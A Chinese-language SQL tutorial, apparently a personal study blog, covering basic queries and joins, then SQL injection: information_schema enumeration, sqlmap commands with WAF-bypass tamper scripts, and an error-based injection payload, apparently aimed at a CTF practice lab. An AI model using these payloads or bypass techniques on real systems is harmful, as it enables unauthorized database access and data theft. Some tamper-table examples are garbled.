数据库sql查询速成
先来看order by
1 | SELECT Company, OrderNumber FROM Orders ORDER BY Company |
表示按照company字段的字母来排序。
也可以用其他字段来排序比如
1 | SELECT Company, OrderNumber FROM Orders ORDER BY Company, OrderNumber |
就是先按company,然后按Ordernumber。
再来看insert语句
向表中插入新的行
1 | INSERT INTO 表 VALUES(值1,2,3..); |
也可以指定插入数据的列
1 | INSERT INTO table_name (列1 ,2) VALUES (值1,2) |
举例:
1 | INSERT INTO Persons VALUES ('Gates', 'Bill', 'Xuanwumen 10', 'Beijing') |
即向表Persons中的4个列分别赋上述值。
我们也可以指定列插入值:
1 | INSERT INTO Persons (LastName, FirstName) VALUES ('Gates', 'Bill'); |
看WHERE子句
1 | SELECT 列 FROM 表 WHERE 列 运算符 值 |
比如
1 | SELECT * FROM Persons WHERE City='Beijing'; |
也就是选出了列名是beijing的一行。
sql注入中常用的
1 | SELECT table_name from information_schema.tables where table_schema=database(); |
information_schema.tables
表示表,我们要在表中的table_schema列里面把字段是数据库名的那一行选出来,称作table_name
也就是table_name就是我们自己对这结果起的名字。
1 | SELECT * FROM Persons WHERE Year>1965 |
还可以在最后做判断,如上。
AND OR
1 | SELECT * FROM Persons WHERE FirstName='Thomas' AND LastName='Carter'; |
1 | SELECT * FROM Persons WHERE firstname='Thomas' OR lastname='Carter' |
这两个都比较好理解,不多说了。
1 | SELECT * FROM Persons WHERE (FirstName='Thomas' OR FirstName='William') |
也可以结合起来。
GROUP BY
1 | SELECT Customer, SUM(OrderPrice) FROM Orders GROUP BY Customer |
也就是按照Customer给分别计算。
查完之后为
所以也就是把SELECT 的内容进行了组合。除去了多余的项。
如果不加GROUP BY,结果会是
因为SELECT指定了两列但是第二列返回一个单独的值,而Customer返回6个值,也就只能都对应一个值了。
我们再看sql的join语句
给出websites表如下
1 | +----+--------------+---------------------------+-------+---------+ |
再给出access_log
1 | mysql> SELECT * FROM access_log; |
这里的site_id其实就是上面表中的id,我们要便于查看,不能去在两个表中查找id去对应,而是应该直接把access_log中的site_id直接换成上面websites表中的网站标签。
所以如下语句
1 | SELECT Websites.id, Websites.name, access_log.count, access_log.date FROM Websites INNER JOIN access_log |
其实就是,从websites加入的access_log中选出四个字段形成新的表,并且满足
1 | Websites.id=access_log.site_id; |
1 | INNER JOIN:如果表中有至少一个匹配,则返回行 |
显然如图所示,两个共有部分,才能匹配到。
如果用LEFT JOIN(左表一定会出现!)
1 | SELECT column_name(s) |
即使右边表中没有对应的左边的项,左边也会返回行,只不过在有表中的匹配结果为null
注:在使用join时可以用using关键字进行简化。
1.查询必须是等值连接。
2.等值连接中的列必须具有相同的名称和数据类型。
using的效果和我们ON table1.column_name=table2.column_name;的效果是一样的!
我们可以自己在mysql数据库中练习一下:
比如我们现在查到表:
我们要对两表中的信息做整合,就用join
我采用语句:
1 | select * from security.users as a join security.emails b using(id); |
这里大家可能会疑惑,ab都是哪来的,这是别名用法,我们可以给表重新打上我们自己想对他命名的标签,增加可读性。
如图
1 | 我如果不用as用法,不加别名,也是可以直接join的。 |
我从网上看到一个秀sql语句的家伙
他在刚才我们的查询外加了一个select * from并且把我们的查询结果后面加了c
这其实就是,我们之前的查询结果,就是一个新表。现在从这个新表里查询所有!也就是再加select * from
然后把我们的新表加一个别名叫c!
1 | select * from (select * from security.users as a join security.emails b using(id)) c; |
其实就是套娃,我们还可以再继续套。
1 | select * from (select * from (select * from security.users as a join security.emails b using(id)) c) d; |
结果相同!
什么叫活学活用?
1 | concat(0x7e,(select * from (select * from security.users as a join security.emails b using(id)) c),0x7e); |
因为concat是用来拼接字符串的,所以我们不能拼接别的类型。不过没有其他报错,0x7e使拼接出来是
这里其实是
也就是波浪号。
反引号在sql语句中的作用:
这个符号是对数据库名、表明、字段的特殊处理。防止用户自定义的名称和mysql保留字冲突。
比如:
字段名 date ,mysql同样有内建行数datedate
就能区分开这是自定义字段
DELETE的使用
1 | DELETE FROM TABLE_NAME |
删除相关性质的字段。
删除某一列,要用ALTER搭配DROP!
1 | ALTER TABLE table_name |
更改列名
1 | ALTER TABLE TABLENAME CHANGE COLUMN OLDNAME NEWNAME INT; |
sql插入多行多列数据:
1 | INSERT` `INTO` `table_name (列1, 列2,...) ``VALUES` `(值1, 值2,....),((值1, 值2,....),(...); |
新在后面增加一列
1 | alter table pre_csdn123zd_rule add column start_url varchar(255) DEFAULT NULL after rule_remark; |
创建一个新表:
1 | CREATE TABLE table_name |
SQL 约束(Constraints)
SQL 约束用于规定表中的数据规则。
如果存在违反约束的数据行为,行为会被约束终止。
约束可以在创建表时规定(通过 CREATE TABLE 语句),或者在表创建之后规定(通过 ALTER TABLE 语句)。
SQL CREATE TABLE + CONSTRAINT 语法
CREATE TABLE table_name
(
column_name1 data_type(size) constraint_name,
column_name2 data_type(size) constraint_name,
column_name3 data_type(size) constraint_name,
….
);
在 SQL 中,我们有如下约束:
NOT NULL - 指示某列不能存储 NULL 值。
UNIQUE - 保证某列的每行必须有唯一的值。
PRIMARY KEY - NOT NULL 和 UNIQUE 的结合。确保某列(或两个列多个列的结合)有唯一标识,有助于更容易更快速地找到表中的一个特定的记录。
FOREIGN KEY - 保证一个表中的数据匹配另一个表中的值的参照完整性。
CHECK - 保证列中的值符合指定的条件。
DEFAULT - 规定没有给列赋值时的默认值。
举例
1 | CREATE TABLE Persons ( |
sql注入用sqlmap记得用脚本去跑!不要手动!,脚本使用方式:
根据实际情况,可以同时使用多个脚本,使用-v参数可以看到payload的变化。
1 | sqlmap.py -u "http://www.target.com/test.php?id=12" --dbms mysql --tamper "space2comment,versionedmorekeywords.py" -v 3 --dbs |
脚本分类说明
支持的数据库 | 编号 | 脚本名称 | 作用 | 实现方式 |
---|---|---|---|---|
all | 1 | apostrophemask.py | 用utf8代替引号 | (“1 AND ‘1’=’1”) ‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871’ |
2 | base64encode.py | 用base64编码替换 | (“1’ AND SLEEP(5)#”) ‘MScgQU5EIFNMRUVQKDUpIw==’ | |
3 | multiplespaces.py | 围绕SQL关键字添加多个空格 | (‘1 UNION SELECT foobar’) ‘1 UNION SELECT foobar’ | |
4 | space2plus.py | 用+替换空格 | (‘SELECT id FROM users’) ‘SELECT+id+FROM+users’ | |
5 | nonrecursivereplacement.py | 双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters | (‘1 UNION SELECT 2—‘) ‘1 UNIOUNIONN SELESELECTCT 2—‘ | |
6 | space2randomblank.py | 代替空格字符(“”)从一个随机的空 白字符可选字符的有效集 | (‘SELECT id FROM users’) ‘SELECT%0Did%0DFROM%0Ausers’ | |
7 | unionalltounion.py | 替换UNION ALL SELECT UNION SELECT | (‘-1 UNION ALL SELECT’) ‘-1 UNION SELECT’ | |
8 | securesphere.py | 追加特制的字符串 | (‘1 AND 1=1’) “1 AND 1=1 and ‘0having’=’0having’” | |
mssql | 1 | space2hash.py | 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’) | ‘1 AND 9227=9227’ ‘1—nVNaVoPYeva%0AAND—ngNvzqu%0A9227=9227’ |
2 | equaltolike.py | like 代替等号 | Input: SELECT FROM users WHERE id=1 2 Output: SELECT FROM users WHERE id LIKE 1 | |
3 | space2mssqlblank.py(mssql) | 空格替换为其它空符号 | Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers | |
4 | space2mssqlhash.py | 替换空格 | (‘1 AND 9227=9227’) ‘1%23%0AAND%23%0A9227=9227’ | |
5 | between.py | 用between替换大于号(>) | (‘1 AND A > B—‘) ‘1 AND A NOT BETWEEN 0 AND B—‘ | |
6 | percentage.py | asp允许每个字符前面添加一个%号 | Input: SELECT FIELD FROM TABLE Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
7 | sp_password.py | 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 | (‘1 AND 9227=9227— ‘) ‘1 AND 9227=9227— sp_password’ | |
8 | charencode.py | url编码 | Input: SELECT FIELD FROM%20TABLE Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
9 | randomcase.py | 随机大小写 | Input: INSERT Output: InsERt | |
10 | charunicodeencode.py | 字符串 unicode 编码 | Input: SELECT FIELD%20FROM TABLE Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
11 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | Input: SELECT id FROM users Output: SELECT//id//FROM/**/users | |
mysql >= 5.1.13 | 1 | equaltolike.py | like 代替等号 | Input: SELECT FROM users WHERE id=1 2 Output: SELECT FROM users WHERE id LIKE 1 |
2 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’ | |
3 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’ | |
4 | ifnull2ifisnull.py | 绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ | (‘IFNULL(1, 2)’) ‘IF(ISNULL(1),2,1)’ | |
5 | space2mssqlhash.py | 替换空格 | (‘1 AND 9227=9227’) ‘1%23%0AAND%23%0A9227=9227’ | |
6 | modsecurityversioned.py | 过滤空格,包含完整的查询版本注释 | (‘1 AND 2>1—‘) ‘1 /!30874AND 2>1/—‘ | |
7 | space2mysqlblank.py | 空格替换其它空白符号(mysql) | Input: SELECT id FROM users Output: SELECT%0Bid%0BFROM%A0users | |
8 | between.py | 用between替换大于号(>) | (‘1 AND A > B—‘) ‘1 AND A NOT BETWEEN 0 AND B—‘ | |
9 | modsecurityzeroversioned.py | 包含了完整的查询与零版本注释 | (‘1 AND 2>1—‘) ‘1 /!00000AND 2>1/—‘ | |
10 | space2mysqldash.py | 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) | (‘1 AND 9227=9227’) ‘1—%0AAND—%0A9227=9227’ | |
11 | bluecoat.py | 代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like | (‘SELECT id FROM users where id = 1’) ‘SELECT%09id FROM users where id LIKE 1’ | |
12 | percentage.py | asp允许每个字符前面添加一个%号 | Input: SELECT FIELD FROM TABLE Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
13 | charencode.py | url编码 | Input: SELECT FIELD FROM%20TABLE Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
14 | randomcase.py | 随机大小写 | Input: INSERT Output: InsERt | |
15 | versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# Output: 1/!UNION!ALL!SELECT**!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS**!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))# | |
16 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | Input: SELECT id FROM users Output: SELECT//id//FROM/**/users | |
17 | charunicodeencode.py | 字符串 unicode 编码 | Input: SELECT FIELD%20FROM TABLE Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
18 | versionedmorekeywords.py | 注释绕过 | Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# Output: 1/!UNION!ALL!SELECT**!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS**!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))# | |
MySQL < 5.1 | 19 | halfversionedmorekeywords.py | 关键字前加注释 | Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa Output: value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)), NULL, NULL#/!0AND ‘QDWa’=’QDWa |
20 | halfversionedmorekeywords.py | 当数据库为mysql时绕过防火墙,每个关键字之前添加 mysql版本评论 | 1.(“value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa”) 2.”value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND ‘QDWa’=’QDWa” | |
MySQL >= 5.1.13 | 21 | space2morehash.py | 空格替换为 #号 以及更多随机字符串 换行符 | Input: 1 AND 9227=9227 Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 |
Oracle | 1 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’ |
2 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’ | |
3 | between.py | 用between替换大于号(>) | (‘1 AND A > B—‘) ‘1 AND A NOT BETWEEN 0 AND B—‘ | |
4 | charencode.py | url编码 | Input: SELECT FIELD FROM%20TABLE Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
5 | randomcase.py | 随机大小写 | Input: INSERT Output: InsERt | |
6 | charunicodeencode.py | 字符串 unicode 编码 | Input: SELECT FIELD%20FROM TABLE Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
7 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | Input: SELECT id FROM users Output: SELECT//id//FROM/**/users | |
PostgreSQL | 1 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’ |
2 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’ | |
3 | between.py | 用between替换大于号(>) | (‘1 AND A > B—‘) ‘1 AND A NOT BETWEEN 0 AND B—‘ | |
4 | percentage.py | asp允许每个字符前面添加一个%号 | Input: SELECT FIELD FROM TABLE Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
5 | charencode.py | url编码 | Input: SELECT FIELD FROM%20TABLE Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
6 | randomcase.py | 随机大小写 | Input: INSERT Output: InsERt | |
7 | charunicodeencode.py | 字符串 unicode 编码 | Input: SELECT FIELD%20FROM TABLE Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
8 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | Input: SELECT id FROM users Output: SELECT//id//FROM/**/users | |
Access | 1 | appendnullbyte.py | 在有效负荷结束位置加载零字节字符编码 | (‘1 AND 1=1’) ‘1 AND 1=1%00’ |
其他 | chardoubleencode.py | 双url编码(不处理以编码的) | Input: SELECT FIELD FROM%20TABLE Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545 | |
unmagicquotes.py | 宽字符绕过 GPC addslashes | Input: 1′ AND 1=1 Output: 1%bf%27 AND 1=1–%20 | ||
randomcomments.py | 用/**/分割sql关键字 | ‘INSERT’ becomes ‘IN//S//ERT’ |
以上是脚本说明。
使用命令可以从kali linux的sqlmap-gtk中看到
下面补充一个函数
mid()
下面的 SQL 语句从 “Websites” 表的 “name” 列中提取前 4 个字符:
1 | SELECT MID(name,1,4) AS ShortTitle |
我们可以用burpsuite抓包之后,将请求存入txt
1 | python2 sqlmap.py -r file.txt --dbs |
即可暴库。
然后爆出库名,表名之后再去爆列名。
1 | python2 sqlmap.py -r file.txt -D 'security' -T 'flag' --columns |
1 | uname=admin')and mid(concat(0x7e,(select*from (select * from flag as a join flag b using(id))c),0x7e),1,1)# |
然后再去手动注入